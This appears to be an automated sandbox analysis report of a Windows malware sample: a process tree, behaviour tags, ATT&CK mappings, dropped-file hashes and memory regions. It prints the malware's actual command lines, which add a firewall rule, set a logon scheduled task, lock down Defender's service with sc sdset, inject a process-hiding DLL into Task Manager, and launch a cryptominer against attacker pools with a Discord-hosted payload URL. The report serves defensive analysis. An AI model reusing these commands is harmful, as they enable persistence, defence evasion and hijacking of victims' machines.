2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe cmd.exe PID 2668 wrote to memory of 3968 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe cmd.exe PID 3968 wrote to memory of 1004 3968 cmd.exe netsh.exe PID 3968 wrote to memory of 1004 3968 cmd.exe netsh.exe PID 2668 wrote to memory of 980 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe powershell.exe PID 2668 wrote to memory of 980 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe powershell.exe PID 2668 wrote to memory of 980 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe powershell.exe PID 2668 wrote to memory of 780 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe powershell.exe PID 2668 wrote to memory of 780 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe powershell.exe PID 2668 wrote to memory of 780 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe powershell.exe PID 2668 wrote to memory of 2628 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe csrss.exe PID 2668 wrote to memory of 2628 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe csrss.exe PID 2668 wrote to memory of 2628 2668 2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe csrss.exe PID 2628 wrote to memory of 2324 2628 csrss.exe powershell.exe PID 2628 wrote to memory of 2324 2628 csrss.exe powershell.exe PID 2628 wrote to memory of 2324 2628 csrss.exe powershell.exe PID 2628 wrote to memory of 2376 2628 csrss.exe windefender.exe PID 2628 wrote to memory of 2376 2628 csrss.exe windefender.exe PID 2628 wrote to memory of 2376 2628 csrss.exe windefender.exe PID 2628 wrote to memory of 3104 2628 csrss.exe powershell.exe PID 2628 wrote to memory of 3104 2628 csrss.exe powershell.exe PID 2628 wrote to memory of 3104 2628 csrss.exe powershell.exe PID 2628 wrote to memory of 3668 2628 csrss.exe injector.exe PID 2628 wrote to memory of 3668 2628 csrss.exe injector.exe PID 5048 wrote to memory of 5084 5048 windefender.exe cmd.exe PID 5048 wrote to memory of 5084 5048 windefender.exe cmd.exe PID 5048 wrote to memory of 5084 5048 windefender.exe cmd.exe PID 5084 wrote to memory of 5016 5084 cmd.exe sc.exe PID 5084 wrote to memory of 5016 5084 cmd.exe sc.exe PID 5084 wrote to memory of 5016 5084 cmd.exe sc.exe PID 2628 wrote to memory of 3156 2628 csrss.exe powershell.exe PID 2628 wrote to memory of 3156 2628 csrss.exe powershell.exe PID 2628 wrote to memory of 3156 2628 csrss.exe powershell.exe PID 2628 wrote to memory of 4432 2628 csrss.exe dcb505dc2b9d8aac05f4ca0727f5eadb.exe PID 2628 wrote to memory of 4432 2628 csrss.exe dcb505dc2b9d8aac05f4ca0727f5eadb.exe PID 2628 wrote to memory of 4432 2628 csrss.exe dcb505dc2b9d8aac05f4ca0727f5eadb.exe PID 2628 wrote to memory of 4932 2628 csrss.exe powershell.exe PID 2628 wrote to memory of 4932 2628 csrss.exe powershell.exe PID 2628 wrote to memory of 4932 2628 csrss.exe powershell.exe PID 4432 wrote to memory of 4992 4432 dcb505dc2b9d8aac05f4ca0727f5eadb.exe wup.exe PID 4432 wrote to memory of 4992 4432 dcb505dc2b9d8aac05f4ca0727f5eadb.exe wup.exe PID 4432 wrote to memory of 4964 4432 dcb505dc2b9d8aac05f4ca0727f5eadb.exe csrss.exe PID 4432 wrote to memory of 4964 4432 dcb505dc2b9d8aac05f4ca0727f5eadb.exe csrss.exe PID 4432 wrote to memory of 4964 4432 dcb505dc2b9d8aac05f4ca0727f5eadb.exe csrss.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe"C:\Users\Admin\AppData\Local\Temp\2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe"C:\Users\Admin\AppData\Local\Temp\2fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2.exe"2⤵
- Windows security bypass
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:804⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exeC:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id 53ded8bf-0f7e-4603-bc42-c24a5eef492c --tls --nicehash -o showlock.net:443 --rig-id 53ded8bf-0f7e-4603-bc42-c24a5eef492c --tls --nicehash -o showlock.net:80 --rig-id 53ded8bf-0f7e-4603-bc42-c24a5eef492c --nicehash --http-port 3433 --http-access-token 53ded8bf-0f7e-4603-bc42-c24a5eef492c --randomx-wrmsr=-15⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe -hide 49925⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exeC:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exeC:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe4⤵
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Create or Modify System Process
1Windows Service
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wivaeyjm.jyw.ps1Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exeFilesize
2.0MB
MD51bf850b4d9587c1017a75a47680584c4
SHA175cd4738ffc07f203c3f3356bc946fdd0bcdbe19
SHA256ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955
SHA512ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08
-
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exeFilesize
2.8MB
MD5713674d5e968cbe2102394be0b2bae6f
SHA190ac9bd8e61b2815feb3599494883526665cb81e
SHA256f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057
SHA512e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeFilesize
2.0MB
MD5dcb505dc2b9d8aac05f4ca0727f5eadb
SHA14f633edb62de05f3d7c241c8bc19c1e0be7ced75
SHA25661f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551
SHA51231e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeFilesize
281KB
MD5d98e33b66343e7c96158444127a117f6
SHA1bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA2565de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
SHA512705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
-
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exeFilesize
5.2MB
MD54f649a57b7ddf3874c9a2163a73e9b07
SHA19c966520ba8233f13f168cade548baf5a30823ba
SHA256830afffc7dd32e007736f0d97e8d02f68f80988266e68e3de3250aa189ac8491
SHA512b2374bac551b0d4e87f38eb0090a9df0705a8600667fecba6a94e5c67ff93fc8b4707a905ce0e5ef0909e91b04dc01d74c21887a5b5958b8b2fd01faed253aac
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
2KB
MD52c59a3c90f0c16d346f8c4f4df64a6c6
SHA1324099be473da754fe733c61e2e536e550f1d45c
SHA25617da3cfdee18f36a8ed7f5213e0829096fffc6546555ec381e06ada83388beb0
SHA51231d54490518b88d44ec2916a1571a21b8a9db0bfc7e680cfc492c942cf81b58c32be929acfd30e14bd0b85e131d752f3c3a695a62bc5e002f761f3c8e0f1df7a
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheFilesize
41KB
MD5ec32e9a58daf91a4eb49ce3a6bbb5fcb
SHA19b0efc0f5a0f61a922fc5dcdf287f38e8c954cc3
SHA2566a251d200c627ead0a32e20602e10e9480efb01255c015d9a45ad72f6afe3324
SHA512eabd4570cb6d109032b73756970555a8624c6b84feaa439a22eba926af62c91a06b7abd9ec1f7d3e6f5ef0a4073f2a4197f523420cb29f8c6fe5b4c9cc440370
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5865ed9c16f13e069bcbdaa792600b2d6
SHA18a141f870709f5765f8b784d88edd03dabc4e076
SHA2563f4385d3accb8bda40fcd7379bd437fc85967acf5f5de03a06a21462ba6b5c52
SHA5120a6f6455229da253d315f6833945e9af377f1e2276f23d6be725fbc342f239c64ebff998c0fc3802f18c77cb9f20f30d163adb3117587f219c9ac09eb023f29e
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD505a7bb9831093626e50c75ad4f8b1ffe
SHA14f2211136f5e09fa209085342c88e4adf6165b7e
SHA2563aab7218dba87a15339329330cfce9b8efaf5516a7d969ecaa79443f157de643
SHA512b3c87f95a1fba9c0062b98d6d087c44a57edea0ec76322f3ce093de16d0102615461bf6d54907b8800c670abff25862d3543f6eb64b824f3bc8c30b918dd2d10
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD519f1a43f063f962c2008ac6969d2db77
SHA11d4f7dfbf157f160ff836100152910652f8bafd1
SHA256cbc2f01132189cd3a83e82f5466b9c056d0c76a1166f2c183975cfcc1df5ddbe
SHA51233f158791eab999b1c2f5ccf101ca2c2116c6946a2effa08a007af6b0f8e654a5e8be15ccd84ac5203e22cde071fd3bea14fe42c52beb9e011b0ac37c104ccf1
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD59abd2dc18c55a6b91882a63ccb5ee6d4
SHA16b1775ead76682f40c5fd5692e2495a3ce549980
SHA25626fe9a4edc6f95bc030f551c51ce45e5fd77466713015bd57a7afc2f5a3aba97
SHA512eece9081973bb86d46e67ef095e8df03150a2e050cb2465d75f608c68f24d8feed8d6473ceb7ae3dc2bf29471516ef941d097116f3d169d7e1f070af07b105e2
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD54736f2aa2d986ef0a502070353e30c84
SHA148f7f73c1e13c5084eea90d4d3a3b4c6972614d5
SHA256db140cd81ba78bd846968edaa37a4eece45bb1de39d9003937c6e1292390fdad
SHA51295ca77b632467cfdf492da411bb58c02ee6c2b665815cd2a14d1dd41d4bd5b283faf373b0d2583c3ff4b2945e9d26ca418b04b36b26bcd628b03522c12add60f
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD520ce330c502bf9cba3d80de0631fce38
SHA191c81f7325668314830a5da538da4301c5048e6a
SHA25655d3254d11aa02185d36ceb7f71125a3a23e1598eea92555c8673eec6f67075d
SHA51271ba5bae7088fe0d137dd0a5e76df924a0e2878fe890b147d7e8e7467f2e05573faa8f3c642437a64b98ecf3a0c3e3730a1239abc80f2293da50d5bf1490b4ae
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
17KB
MD57dd236a74dacf13c07bced065a3033f3
SHA1248095dcf699ac584368ccd6a45d23978e3865bf
SHA256a7400cef214178d14e225598015ab9e4ba2dfd4cb7914b6c0dc8d41810fbb40e
SHA51202a835403cc8503f4a6826f7b69fac31727f9332e33cf8575da7a639f56c6056463328dffd95f66fc3e4176a39b2bc5fed9ff5116dcceb4bdd34ce547273a742
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5b7591ab8394f654aae0bdd1ac04ced2e
SHA1a28cc989642fbd02120bcfb52e56c27f2104573c
SHA256d6d0d14bdd3d5fe0d62f853713d56311c40b68c08fce3ddc7ee8ddd4da78a706
SHA512ceee2cb6e9887fa8f580fe7cd3bb702ddbc2585899a379429129919c5f3e18d88094182b240e488ad77607ca84d854bac0d1ba4c4ac500d773dc46c0b0149361
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5031b8a338e3c75f1c86736f3fda7eb8b
SHA10fe2e9436d69c67f518bd338f258fe4b619cc88f
SHA256d2e220ed5852aa8af18fd8030f6fa4ee098d3379c6d847682502bfa3845d6fe5
SHA512ce34c396d9b19c024999c5c6cf24fe1cf39196b32af3004c1f375861dbfc47826bcfaf166ae501b118e4ec310ea2d3868947b56b244967761041190bc0614c5d
-
C:\Windows\rss\csrss.exeFilesize
4.2MB
MD50a9f44485b56be821f21310135743978
SHA1b471efc652f4087882bf3c379f4aa0c9980959ff
SHA2562fb2f5ad67f59bf26a24767b810e89a4a566dbbf765845f425f59fb84477adb2
SHA51220332afa232b38bab775bafb573449859bf6addc96b1db373de6a514af1601cfd49c62e38d53cbae6fdd50fa437125b74ce70e6e6bfff3400760743270761918
-
C:\Windows\windefender.exeFilesize
2.0MB
MD58e67f58837092385dcf01e8a2b4f5783
SHA1012c49cfd8c5d06795a6f67ea2baf2a082cf8625
SHA256166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa
SHA51240d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec
-
memory/596-75-0x0000000070700000-0x0000000070A50000-memory.dmpFilesize
3.3MB
-
memory/596-11-0x0000000007150000-0x0000000007172000-memory.dmpFilesize
136KB
-
memory/596-73-0x0000000009E80000-0x0000000009EB3000-memory.dmpFilesize
204KB
-
memory/596-82-0x0000000006BE0000-0x0000000006BF0000-memory.dmpFilesize
64KB
-
memory/596-83-0x000000000A0E0000-0x000000000A174000-memory.dmpFilesize
592KB
-
memory/596-281-0x000000000A020000-0x000000000A028000-memory.dmpFilesize
32KB
-
memory/596-276-0x000000000A040000-0x000000000A05A000-memory.dmpFilesize
104KB
-
memory/596-299-0x00000000739A0000-0x000000007408E000-memory.dmpFilesize
6.9MB
-
memory/596-6-0x0000000006A60000-0x0000000006A96000-memory.dmpFilesize
216KB
-
memory/596-7-0x00000000739A0000-0x000000007408E000-memory.dmpFilesize
6.9MB
-
memory/596-81-0x0000000009EC0000-0x0000000009F65000-memory.dmpFilesize
660KB
-
memory/596-74-0x00000000706B0000-0x00000000706FB000-memory.dmpFilesize
300KB
-
memory/596-66-0x0000000009050000-0x00000000090C6000-memory.dmpFilesize
472KB
-
memory/596-35-0x0000000008F90000-0x0000000008FCC000-memory.dmpFilesize
240KB
-
memory/596-16-0x0000000008040000-0x000000000808B000-memory.dmpFilesize
300KB
-
memory/596-15-0x0000000007EF0000-0x0000000007F0C000-memory.dmpFilesize
112KB
-
memory/596-12-0x0000000007A30000-0x0000000007A96000-memory.dmpFilesize
408KB
-
memory/596-14-0x0000000007AA0000-0x0000000007DF0000-memory.dmpFilesize
3.3MB
-
memory/596-13-0x0000000007950000-0x00000000079B6000-memory.dmpFilesize
408KB
-
memory/596-9-0x0000000006BE0000-0x0000000006BF0000-memory.dmpFilesize
64KB
-
memory/596-76-0x0000000009E60000-0x0000000009E7E000-memory.dmpFilesize
120KB
-
memory/596-8-0x0000000006BE0000-0x0000000006BF0000-memory.dmpFilesize
64KB
-
memory/596-10-0x0000000007220000-0x0000000007848000-memory.dmpFilesize
6.2MB
-
memory/780-823-0x00000000067C0000-0x00000000067D0000-memory.dmpFilesize
64KB
-
memory/780-793-0x0000000073AA0000-0x000000007418E000-memory.dmpFilesize
6.9MB
-
memory/780-1032-0x0000000073AA0000-0x000000007418E000-memory.dmpFilesize
6.9MB
-
memory/780-816-0x000000007F880000-0x000000007F890000-memory.dmpFilesize
64KB
-
memory/780-818-0x0000000070800000-0x0000000070B50000-memory.dmpFilesize
3.3MB
-
memory/780-817-0x00000000707B0000-0x00000000707FB000-memory.dmpFilesize
300KB
-
memory/780-794-0x00000000067C0000-0x00000000067D0000-memory.dmpFilesize
64KB
-
memory/780-795-0x00000000067C0000-0x00000000067D0000-memory.dmpFilesize
64KB
-
memory/980-789-0x0000000073AA0000-0x000000007418E000-memory.dmpFilesize
6.9MB
-
memory/980-574-0x00000000707B0000-0x00000000707FB000-memory.dmpFilesize
300KB
-
memory/980-553-0x0000000007D20000-0x0000000008070000-memory.dmpFilesize
3.3MB
-
memory/980-580-0x00000000070B0000-0x00000000070C0000-memory.dmpFilesize
64KB
-
memory/980-549-0x0000000073AA0000-0x000000007418E000-memory.dmpFilesize
6.9MB
-
memory/980-575-0x0000000070820000-0x0000000070B70000-memory.dmpFilesize
3.3MB
-
memory/980-552-0x00000000070B0000-0x00000000070C0000-memory.dmpFilesize
64KB
-
memory/980-551-0x00000000070B0000-0x00000000070C0000-memory.dmpFilesize
64KB
-
memory/980-555-0x0000000008800000-0x000000000884B000-memory.dmpFilesize
300KB
-
memory/2280-3-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2280-300-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2280-2-0x00000000051A0000-0x0000000005A8B000-memory.dmpFilesize
8.9MB
-
memory/2280-1-0x0000000004DA0000-0x000000000519C000-memory.dmpFilesize
4.0MB
-
memory/2280-302-0x00000000051A0000-0x0000000005A8B000-memory.dmpFilesize
8.9MB
-
memory/2324-1043-0x0000000073A00000-0x00000000740EE000-memory.dmpFilesize
6.9MB
-
memory/2324-1044-0x0000000007F80000-0x00000000082D0000-memory.dmpFilesize
3.3MB
-
memory/2324-1046-0x0000000008AF0000-0x0000000008B3B000-memory.dmpFilesize
300KB
-
memory/2324-1066-0x0000000070710000-0x000000007075B000-memory.dmpFilesize
300KB
-
memory/2324-1065-0x000000007E4D0000-0x000000007E4E0000-memory.dmpFilesize
64KB
-
memory/2376-1793-0x0000000000400000-0x00000000008DF000-memory.dmpFilesize
4.9MB
-
memory/2376-1787-0x0000000000400000-0x00000000008DF000-memory.dmpFilesize
4.9MB
-
memory/2376-1783-0x0000000000400000-0x00000000008DF000-memory.dmpFilesize
4.9MB
-
memory/2628-1800-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1814-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1039-0x0000000005200000-0x00000000055F9000-memory.dmpFilesize
4.0MB
-
memory/2628-1773-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-2541-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-2450-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1782-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-2293-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1784-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1786-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1852-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1788-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1790-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1792-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1826-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1794-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1796-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1798-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1824-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1802-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1804-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1806-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1808-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1810-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1812-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1042-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1816-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1818-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1820-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2628-1822-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2668-306-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2668-303-0x0000000004DE0000-0x00000000051D9000-memory.dmpFilesize
4.0MB
-
memory/2668-1036-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/2668-791-0x0000000004DE0000-0x00000000051D9000-memory.dmpFilesize
4.0MB
-
memory/2668-797-0x0000000000400000-0x000000000311B000-memory.dmpFilesize
45.1MB
-
memory/4432-2123-0x0000000000400000-0x00000000008E1000-memory.dmpFilesize
4.9MB
-
memory/4768-307-0x0000000007300000-0x0000000007310000-memory.dmpFilesize
64KB
-
memory/4768-329-0x00000000706B0000-0x00000000706FB000-memory.dmpFilesize
300KB
-
